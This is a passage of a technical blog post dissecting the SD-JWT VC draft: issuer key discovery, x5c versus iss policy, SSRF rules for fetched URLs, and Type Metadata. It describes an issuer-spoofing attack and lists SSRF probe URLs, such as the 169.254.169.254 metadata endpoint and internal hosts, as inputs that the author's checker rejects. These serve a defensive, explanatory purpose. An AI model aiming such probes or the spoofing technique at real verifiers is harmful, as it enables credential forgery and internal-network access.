&lt;code&gt;iss&lt;/code&gt;, &lt;code&gt;nbf&lt;/code&gt;, &lt;code&gt;exp&lt;/code&gt;, &lt;code&gt;cnf&lt;/code&gt;, &lt;code&gt;vct&lt;/code&gt;, &lt;code&gt;vct#integrity&lt;/code&gt;, &lt;code&gt;aka_vcts&lt;/code&gt;, &lt;code&gt;status&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Issuer key discovery&lt;/td&gt;
&lt;td&gt;2.5, 4&lt;/td&gt;
&lt;td&gt;JWT VC Issuer Metadata at a well-known URI, or inline &lt;code&gt;x5c&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP retrieval and SSRF rules&lt;/td&gt;
&lt;td&gt;3, 7.1&lt;/td&gt;
&lt;td&gt;Applies to every URL the spec makes you dereference&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type Metadata&lt;/td&gt;
&lt;td&gt;5, 6&lt;/td&gt;
&lt;td&gt;A JSON document per &lt;code&gt;vct&lt;/code&gt;: display, rendering, per-claim &lt;code&gt;mandatory&lt;/code&gt; / &lt;code&gt;sd&lt;/code&gt; rules&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here is what goes over the wire. I generated it with the script in &lt;a href="https://github.com/0-draft/dev.to/tree/main/articles/assets/sd-jwt-vc-deep-dive"&gt;&lt;code&gt;assets/sd-jwt-vc-deep-dive/&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;run.sh&lt;/code&gt;, standard library plus &lt;code&gt;cryptography&lt;/code&gt;, no network):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fsd-jwt-vc-deep-dive%2Fdiagrams%2F01-anatomy.png%3Fv%3Df862ecde" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fsd-jwt-vc-deep-dive%2Fdiagrams%2F01-anatomy.png%3Fv%3Df862ecde" alt="Anatomy of an SD-JWT VC presentation: Issuer-signed JWT with header, never-disclosable claims and digests; Disclosures the Holder chose; KB-JWT with aud, nonce and sd_hash" width="719" height="373"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"ES256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"dc+sd-jwt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"kid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"pid-2026"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"_sd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s2"&gt;"AbW5m0GNLc4PK-jU7HLjmfmHAL-ZNMNdD9AGeWBFjuw"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"SQlRLSxYJNJ30OV0-XTP2VTul8XtL1Xlfoec5380Q6U"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"gCW7f9I0jjm2ukPxzXnTGav43ZUeckZbGhxHkmiqJYo"&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"iss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://pid.example/issuer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1799913600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1831536000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"vct"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://types.example/pid/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"nationalities"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"76xcktTALCtgwVaJ6eGyxlFFO_jw6Oz10DXd-pABy8g"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"wyeXqvPn6O9vYBKfmtHA_1uD7f4VuXh1qFmiv28UJxs"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"_sd_alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"sha-256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"cnf"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"jwk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The three &lt;code&gt;_sd&lt;/code&gt; digests hide &lt;code&gt;given_name&lt;/code&gt;, &lt;code&gt;birthdate&lt;/code&gt; and &lt;code&gt;age_equal_or_over&lt;/code&gt;. Each &lt;code&gt;nationalities&lt;/code&gt; element is hidden on its own. The Holder sent two of the five Disclosures (&lt;code&gt;age_equal_or_over&lt;/code&gt; and &lt;code&gt;"FR"&lt;/code&gt;), and after verification the payload looks like this (&lt;code&gt;iat&lt;/code&gt;, &lt;code&gt;exp&lt;/code&gt; and &lt;code&gt;cnf&lt;/code&gt; omitted):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"age_equal_or_over"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"18"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"iss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://pid.example/issuer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"vct"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://types.example/pid/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"nationalities"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;undisclosed&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"FR"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep that &lt;code&gt;"&amp;lt;undisclosed&amp;gt;"&lt;/code&gt; slot in mind. Most SD-JWT libraries drop undisclosed array elements when they build the processed payload. SD-JWT VC's claim metadata rules need the position back (more below).&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;vct&lt;/code&gt; and &lt;code&gt;aka_vcts&lt;/code&gt;: type is not authority
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;vct&lt;/code&gt; is the type and also the version. Section 2.2.2.1 says an incompatible change should get a new value (&lt;code&gt;urn:example:eudi:pid:aendgard:1&lt;/code&gt; becomes &lt;code&gt;:2&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aka_vcts&lt;/code&gt; exists because Type Metadata is optional. A Verifier that asked for &lt;code&gt;urn:example:eudi:pid&lt;/code&gt; and received &lt;code&gt;vct: urn:example:eudi:pid:aendgard:1&lt;/code&gt; cannot always fetch metadata to learn that one extends the other, so the Issuer lists the general type itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"vct"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"urn:example:eudi:pid:aendgard:1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"aka_vcts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"urn:example:eudi:pid"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For type matching, a Holder or Verifier "treats" the credential as any of these types. That word was "SHOULD treat" in -23. Éric Vyncke's DISCUSS asked why it was not a MUST, and -25 rewrote it as a plain statement. The array MUST NOT repeat the &lt;code&gt;vct&lt;/code&gt; value, and there is no &lt;code&gt;aka_vcts#integrity&lt;/code&gt; because nothing is fetched from those values (2.2.2.2).&lt;/p&gt;

&lt;p&gt;The rule implementers will get wrong is in 7.7. Neither &lt;code&gt;aka_vcts&lt;/code&gt; nor an &lt;code&gt;extends&lt;/code&gt; chain says the Issuer is allowed to issue that type. An attacker can mint &lt;code&gt;urn:example:attacker:pid&lt;/code&gt; that extends &lt;code&gt;urn:example:eudi:pid&lt;/code&gt;, sign it with a valid key of its own, and every type check passes. The draft makes Issuer authorization a separate MUST: check who the Issuer is and whether it is accredited for the type, independently of the type hierarchy.&lt;/p&gt;

&lt;p&gt;Both claims are always visible to the Verifier (8.2). A national PID &lt;code&gt;vct&lt;/code&gt; tells every Verifier your country even when you only disclosed &lt;code&gt;age_equal_or_over&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verification is RFC 9901 plus one policy decision
&lt;/h2&gt;

&lt;p&gt;Section 2.4 is short. Run RFC 9901 Section 7. RFC 9901 Section 7.1 step 2.c says "Validate the Issuer and that the signing key belongs to this Issuer", and SD-JWT VC says that check MUST be satisfied with a key discovery mechanism "permitted for the Issuer according to policy". If Key Binding is required, verify the KB-JWT with the key in &lt;code&gt;cnf&lt;/code&gt;. If &lt;code&gt;status&lt;/code&gt; is present, it SHOULD be checked, and a sentence added after -23 says a Verifier that skips it "accepts that risk according to its policy".&lt;/p&gt;

&lt;p&gt;One quiet change: &lt;code&gt;cnf&lt;/code&gt; without &lt;code&gt;sub&lt;/code&gt; or &lt;code&gt;iss&lt;/code&gt;. RFC 7800 Section 3 says a JWT with &lt;code&gt;cnf&lt;/code&gt; must contain one of them. SD-JWT VCs often have neither (&lt;code&gt;iss&lt;/code&gt; is optional when &lt;code&gt;x5c&lt;/code&gt; identifies the Issuer, &lt;code&gt;sub&lt;/code&gt; is often omitted for privacy). Up to -23 the draft "explicitly overrides" RFC 7800 without saying it updates it. Mike Bishop held a DISCUSS on that. In -24 the header gained &lt;code&gt;Updates: 7800 (if approved)&lt;/code&gt; and a new Section 2.2.2.3.1, "Confirmation Claim Independence", and his DISCUSS cleared. If your JWT library enforces RFC 7800 Section 3 strictly, it will reject valid SD-JWT VCs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding the Issuer key
&lt;/h2&gt;

&lt;p&gt;Two mechanisms are defined. Ecosystems can add or override others (2.5).&lt;/p&gt;

&lt;h3&gt;
  
  
  JWT VC Issuer Metadata
&lt;/h3&gt;

&lt;p&gt;When &lt;code&gt;iss&lt;/code&gt; is an HTTPS URL, insert &lt;code&gt;/.well-known/jwt-vc-issuer&lt;/code&gt; between host and path, after stripping a trailing &lt;code&gt;/&lt;/code&gt; (4.1). &lt;code&gt;iss&lt;/code&gt; must have no query, no fragment and no dot-segments (4). The script's URL builder:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ACCEPT  https://pid.example               (https://pid.example/.well-known/jwt-vc-issuer)
ACCEPT  https://pid.example/issuer/       (https://pid.example/.well-known/jwt-vc-issuer/issuer)
ACCEPT  https://pid.example/tenant/1234   (https://pid.example/.well-known/jwt-vc-issuer/tenant/1234)
REJECT  https://pid.example/a/../b: dot-segment in iss path
REJECT  https://pid.example/?t=1: iss not usable for metadata
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response (example from Section 4.2):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="no"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="no"&gt;OK&lt;/span&gt;
&lt;span class="nc"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="na"&gt;Cache-Control: max-age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3600&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="s2"&gt;"issuer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https://example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="s2"&gt;"jwks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"keys"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
         &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"kid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"doc-signer-05-25-2022"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s2"&gt;"kty"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"EC"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"crv"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"P-256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s2"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"b28d4MwZMjw8-00CG4xfnn9SLMVMM19SlqZpVb_uNtQ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s2"&gt;"y"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Xv5zWwuoaTgdS6hV43yI6gBwTnjukmFQQnJ_kCxzqk8"&lt;/span&gt;
         &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;]&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exactly one of &lt;code&gt;jwks&lt;/code&gt; and &lt;code&gt;jwks_uri&lt;/code&gt;. &lt;code&gt;issuer&lt;/code&gt; MUST be identical to &lt;code&gt;iss&lt;/code&gt; or nothing in the response may be used (4.3). That check is what stops &lt;code&gt;https://evil.example&lt;/code&gt; from serving metadata that claims another Issuer's keys.&lt;/p&gt;

&lt;h3&gt;
  
  
  Inline &lt;code&gt;x5c&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The end-entity certificate's key verifies the signature, and the chain is validated per RFC 7515 Section 4.1.6 and RFC 5280 against a trust anchor permitted for that Issuer. Since -24 the text says it outright: a certificate is "not a trust anchor merely because it is included" in &lt;code&gt;x5c&lt;/code&gt;. Under this mechanism the Issuer is the certificate subject, not &lt;code&gt;iss&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  When a credential carries both
&lt;/h3&gt;

&lt;p&gt;This was the sharpest open question in my -23 notes. Section 2.5 said &lt;code&gt;iss&lt;/code&gt; need not match the certificate, and Section 7.3 said the &lt;code&gt;iss&lt;/code&gt;-to-key relationship must be kept. Mahesh Jethanandani and Roman Danyliw both flagged the conflict. -24 resolved it:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The recipient's policy determines which mechanism applies to an Issuer; the SD-JWT VC does not. [...] A recipient MUST NOT treat inputs of other mechanisms as identifying the Issuer unless its policy binds them to that identity&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fsd-jwt-vc-deep-dive%2Fdiagrams%2F03-key-policy.png%3Fv%3Df3fc402e" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fsd-jwt-vc-deep-dive%2Fdiagrams%2F03-key-policy.png%3Fv%3Df3fc402e" alt="Decision table: Verifier policy rows (metadata, x5c, x5c with iss binding, header-driven) against credential contents columns (HTTPS iss only, x5c only, both) with the resulting Issuer identity or rejection" width="760" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The bottom row is the bug this prevents. I built it: an attacker holds any leaf certificate under a CA the Verifier accepts for &lt;code&gt;x5c&lt;/code&gt;, puts &lt;code&gt;iss: https://pid.example/issuer&lt;/code&gt; in the payload, and signs with its own key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== Section 2.5 / 7.3: same iss, attacker-made x5c
  ACCEPT  naive: header has x5c, so use x5c  (trusted iss in payload says https://pid.example/issuer; cert says CN=Some Other Issuer)
  REJECT  policy: pid.example uses metadata: Issuer signature does not verify with the policy-selected key
  ACCEPT  policy: x5c anchors, Issuer = cert subject  (Issuer = CN=Some Other Issuer)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The naive verifier lets the header pick the mechanism, so the signature checks out, and then it hands &lt;code&gt;iss&lt;/code&gt; downstream as the Issuer. The third line is also an ACCEPT, which is correct: the credential is a valid one from "Some Other Issuer". What matters is that the identity passed downstream is the certificate subject. Section 7.3 now says it directly: "any holder of a certificate under a permitted trust anchor can include an arbitrary &lt;code&gt;iss&lt;/code&gt; value". If you want to accept both and still use &lt;code&gt;iss&lt;/code&gt;, bind them with a Subject Alternative Name or a configured mapping and verify that binding.&lt;/p&gt;

&lt;h2&gt;
  
  
  A credential is a list of URLs
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fsd-jwt-vc-deep-dive%2Fdiagrams%2F02-fetch-graph.png%3Fv%3D516172ea" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fsd-jwt-vc-deep-dive%2Fdiagrams%2F02-fetch-graph.png%3Fv%3D516172ea" alt="What one credential can make a verifier GET: well-known metadata, jwks_uri, Type Metadata, each extends parent, and rendering resources, with the checks that apply to every hop" width="720" height="519"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Section 3 was added in -19 and applies one set of rules to every retrieval: Issuer metadata, &lt;code&gt;jwks_uri&lt;/code&gt;, Type Metadata, &lt;code&gt;extends&lt;/code&gt; parents, logos, background images, SVG templates.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;https:&lt;/code&gt; only. Rendering &lt;code&gt;uri&lt;/code&gt; values may also be &lt;code&gt;data:&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If you follow redirects, cap the count, never follow to non-HTTPS, and validate every redirect target the same way as the original URL.&lt;/li&gt;
&lt;li&gt;Bound each retrieval in time and size. Validate the format before processing.&lt;/li&gt;
&lt;li&gt;Never use the body of a 4xx/5xx as the document.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Section 7.1 defines "validate". Refuse hosts whose addresses are not globally reachable per the IANA IPv4 and IPv6 Special-Purpose Address Registries (-26 cites the registries; -23 cited RFC 6890), refuse internal host names, and resolve DNS names and check the resolved address too. My checker runs the check on every hop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== Section 3 / 7.1: URLs a credential can make you fetch
  ACCEPT  https://pid.example/.well-known/jwt-vc-issuer/issuer
  REJECT  http://pid.example/.well-known/jwt-vc-issuer/issuer: not https
  REJECT  https://127.0.0.1/admin: 127.0.0.1 is not globally reachable
  REJECT  https://[::ffff:169.254.169.254]/latest/meta-data/: not globally reachable
  REJECT  https://metadata.attacker.example/pid: -&amp;gt; 169.254.169.254 is not globally reachable
  REJECT  https://intranet.corp/pid.json: -&amp;gt; 10.0.0.5 is not globally reachable
  REJECT  https://types.example/pid/v1 -&amp;gt; https://10.0.0.5/pid/v1: not globally reachable
  REJECT  https://types.example/pid/v1 -&amp;gt; http://types.example/pid/v1: not https
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The IPv4-mapped IPv6 line is the one hand-rolled CIDR lists miss. Python's &lt;code&gt;ipaddress.is_global&lt;/code&gt; handles it. Two practical gaps that the spec leaves to you: checking the resolved address and then letting your HTTP client resolve again opens a DNS rebinding window, so connect to the address you checked. And a long chain of &lt;code&gt;extends&lt;/code&gt; is not bounded by anything in -26. Section 3 bounds each request and Section 7.4 catches cycles, but a 500-deep acyclic chain passes both. Mahesh Jethanandani suggested a depth cap in his ballot comment. It is not in -26, so set one yourself.&lt;/p&gt;

&lt;p&gt;Fetching is also a privacy problem. A malicious Issuer can mint a per-Holder &lt;code&gt;iss&lt;/code&gt; like &lt;code&gt;https://example.com/issuer/holder-1234&lt;/code&gt; and see each verification as a hit on its well-known endpoint (8.3). The draft's advice is to pin Issuer identifiers and to not follow remote key references in &lt;code&gt;cnf&lt;/code&gt; (&lt;code&gt;x5u&lt;/code&gt;, &lt;code&gt;jku&lt;/code&gt;, URL &lt;code&gt;kid&lt;/code&gt;) at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Type Metadata
&lt;/h2&gt;

&lt;p&gt;Optional, unless your policy or ecosystem says otherwise (5.7). If you do process it, process it fully, including every &lt;code&gt;extends&lt;/code&gt; parent, before using any of it. Here is the spec's example of a document reached from &lt;code&gt;vct&lt;/code&gt; (5.1):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"vct"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https://betelgeuse.example.com/education_credential/v42"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Betelgeuse Education Credential - Version 42"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"This is our education credential. Don't panic."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"extends"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https://galaxy.example.com/galactic-education-credential/v2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"extends#integrity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="s2"&gt;"sha256-ilOUJsTultOwLfz7QUcFALaRa3BP/jelX1ds04kB9yU="&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Identity and integrity of the document
&lt;/h3&gt;

&lt;p&gt;The retrieved document's &lt;code&gt;vct&lt;/code&gt; MUST be identical to the reference you fetched it by: the credential's &lt;code&gt;vct&lt;/code&gt; for the first document, the child's &lt;code&gt;extends&lt;/code&gt; value for each parent (5.3). Without that, a URL can serve someone else's type definition.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vct#integrity&lt;/code&gt;, &lt;code&gt;extends#integrity&lt;/code&gt; and &lt;code&gt;uri#integrity&lt;/code&gt; use the W3C SRI string syntax but not SRI's algorithm (Section 6). You hash the octets of the response with the strongest algorithm listed that you support, compare, and reject on mismatch or on no supported algorithm. SRI's browser algorithm depends on CORS. This one MUST NOT. A document fetched under an integrity value may be cached indefinitely, keyed by that value, even if the response said &lt;code&gt;no-store&lt;/code&gt; (5.3.4). Without integrity, RFC 9111 caching applies.&lt;/p&gt;

&lt;h3&gt;
  
  
  Claim metadata
&lt;/h3&gt;

&lt;p&gt;Each entry in &lt;code&gt;claims&lt;/code&gt; addresses claims with a &lt;code&gt;path&lt;/code&gt; array: a string selects a key, &lt;code&gt;null&lt;/code&gt; selects all array elements, an integer selects an index (5.6.1). The processing rules in 5.6.1.2 distinguish errors from empty selections. A string on a non-object, or &lt;code&gt;null&lt;/code&gt; or an integer on a non-array, aborts with an error. A missing key or index just drops that element.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mandatory: true&lt;/code&gt; means the Issuer MUST include the claim. &lt;code&gt;sd&lt;/code&gt; is &lt;code&gt;always&lt;/code&gt;, &lt;code&gt;allowed&lt;/code&gt; (default) or &lt;code&gt;never&lt;/code&gt;. If processing a &lt;code&gt;path&lt;/code&gt; errors, if a mandatory claim is provably absent, or if a claim's selective disclosability does not match &lt;code&gt;sd&lt;/code&gt;, the credential MUST be rejected (5.6, 5.7). Since -21, a malformed &lt;code&gt;display&lt;/code&gt; or &lt;code&gt;svg_id&lt;/code&gt; no longer causes rejection. Only &lt;code&gt;claims&lt;/code&gt;, &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;mandatory&lt;/code&gt; and &lt;code&gt;sd&lt;/code&gt; do.&lt;/p&gt;

&lt;p&gt;Three details from Section 5.6 shape the implementation:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A Verifier MUST NOT treat a missing selectively disclosable claim as evidence the Issuer left out a mandatory one. The Holder may simply not have disclosed it.&lt;/li&gt;
